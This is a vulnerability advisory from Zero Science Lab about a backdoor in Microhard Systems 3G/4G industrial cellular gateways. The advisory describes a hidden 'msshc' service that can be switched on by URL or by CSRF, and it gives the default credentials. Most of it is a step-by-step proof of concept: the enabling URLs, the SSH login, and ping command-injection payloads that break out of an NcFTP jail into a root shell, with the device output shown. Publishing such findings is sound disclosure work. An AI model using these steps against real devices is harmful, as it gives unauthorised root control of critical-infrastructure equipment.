Microhard Systems 3G/4G Cellular Ethernet And Serial Gateway Backdoor Jailbreak

Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway systems have a web shell application that includes a service called Microhard Sh that is documented only as 'reserved for internal use'. This service can be enabled by an authenticated user within the Services menu in the web admin panel. This can also be enabled via CSRF attack. When the service is enabled, a user 'msshc' is created on the system with password 'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP jailed environment, that has limited commands for file transfer administration. One of the commands is a custom added 'ping' command that has a command injection vulnerability that allows the attacker to escape the restricted environment and enter into a root shell terminal that can execute commands as the root user. Many versions are affected.


MD5 | 3679d738983dec17aa3243aa408c3212


Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user.

Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 ([email protected]) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2018-5486
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php


13.03.2018

--


1) Enable Microhard Sh service:
-------------------------------

http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)


2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------

# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp

start() {
deluser msshc
rm -rf /tmp/msshc
mkdir -p /tmp/msshc
msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
[ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
passwd=$(/sbin/uci get msshc.general.passwd)
echo "$passwd" >> /etc/passwd
}

stop() {
deluser msshc
rm -rf /tmp/msshc
}


3) Check the /etc/msshc.sh script:
----------------------------------

# cat /etc/msshc.sh
#!/bin/sh
# Copyright (C) 2013 Microhardcorp

/usr/bin/ncftp

exit 0


4) Check the /sbin/uci binary:
------------------------------

Usage: /sbin/uci [<options>] <command> [<arguments>]

Commands:
batch
export [<config>]
import [<config>]
changes [<config>]
commit [<config>]
add <config> <section-type>
add_list <config>.<section>.<option>=<string>
show [<config>[.<section>[.<option>]]]
get <config>.<section>[.<option>]
set <config>.<section>[.<option>]=<value>
delete <config>[.<section[.<option>]]
rename <config>.<section>[.<option>]=<name>
revert <config>[.<section>[.<option>]]

Options:
-c <path> set the search path for config files (default: /etc/config)
-d <str> set the delimiter for list values in uci show
-f <file> use <file> as input instead of stdin
-L do not load any plugins
-m when importing, merge data into an existing package
-n name unnamed sections on export (default)
-N don't name unnamed sections
-p <path> add a search path for config change files
-P <path> add a search path for config change files and use as default
-q quiet mode (don't print error messages)
-s force strict mode (stop on parser errors, default)
-S disable strict mode
-X do not use extended syntax on 'show'

# /sbin/uci get msshc.general.passwd
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


5) Check the NcFTP binary:
--------------------------

# /usr/bin/ncftp -h

Usage: ncftp [flags] [<host> | <directory URL to browse>]

Flags:
-u XX Use username XX instead of anonymous.
-p XX Use password XX with the username.
-P XX Use port number XX instead of the default FTP service port (21).
-j XX Use account XX with the username (rarely needed).
-F Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.

Program version: NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM
Library version: LibNcFTP 3.2.5 (January 17, 2011)
Build system: Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...

This is a freeware program by Mike Gleason (http://www.NcFTP.com).
A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/
Use ncftpget and ncftpput for command-line FTP and file URLs.


6) Go to jail:
--------------

[email protected]:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
[email protected]'s password:
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).

Copyright (c) 1992-2011 by Mike Gleason.
All rights reserved.

ncftp> ?
Commands may be abbreviated. 'help showall' shows hidden and unsupported
commands. 'help <command>' gives a brief description of <command>.

ascii close help mkdir put rename set umask
binary debug lls open pwd rhelp show
cd dir lrm passive quit rm site
chmod get ls ping quote rmdir type

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> help showall
Commands may be abbreviated. 'help showall' shows hidden and unsupported
commands. 'help <command>' gives a brief description of <command>.

? chmod exit ls mv pwd rhelp site
ascii close get mget open quit rm type
binary debug help mkdir passive quote rmdir umask
bye delete lls mls ping rename set
cd dir lrm mput put rglob show

For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> ls
ls: must be connected to do that.
ncftp> man ncftp
man: no such command.
ncftp> pwd
pwd: must be connected to do that.
ncftp> show
anon-password [email protected]
auto-ascii |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|
auto-resume no
autosave-bookmark-changes no
confirm-close no
connect-timeout 20
control-timeout 135
logsize 10240
pager more
passive optional
progress-meter 2 (statbar)
redial-delay 20
save-passwords ask
show-status-in-xterm-titlebar no
so-bufsize 0 (use system default)
xfer-timeout 3600
yes-i-know-about-NcFTPd no
ncftp>


7) The Shawshank Redemption:
----------------------------

ncftp> ping -c1 -4 0.0.0.0 `id`
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary

Usage: ping [OPTIONS] HOST

Send ICMP ECHO_REQUEST packets to network hosts

Options:
-4, -6 Force IPv4 or IPv6 hostname resolution
-c CNT Send only CNT pings
-s SIZE Send SIZE data bytes in packets (default:56)
-I IFACE/IP Use interface or IP address as source
-W SEC Seconds to wait for the first response (default:10)
(after all -c CNT packets are sent)
-w SEC Seconds until ping exits (default:infinite)
(can exit earlier with -c CNT)
-q Quiet, only displays output at start
and when finished

ncftp>


8) Come on Andy:
----------------

ncftp> ping -c1 -4 0.0.0.0 && /bin/sh
PING 0.0.0.0 (0.0.0.0): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms

--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.423/0.423/0.423 ms


BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/tmp/msshc # id ; uname -r
uid=0(root) gid=0(root)
2.6.32.9
/tmp/msshc #

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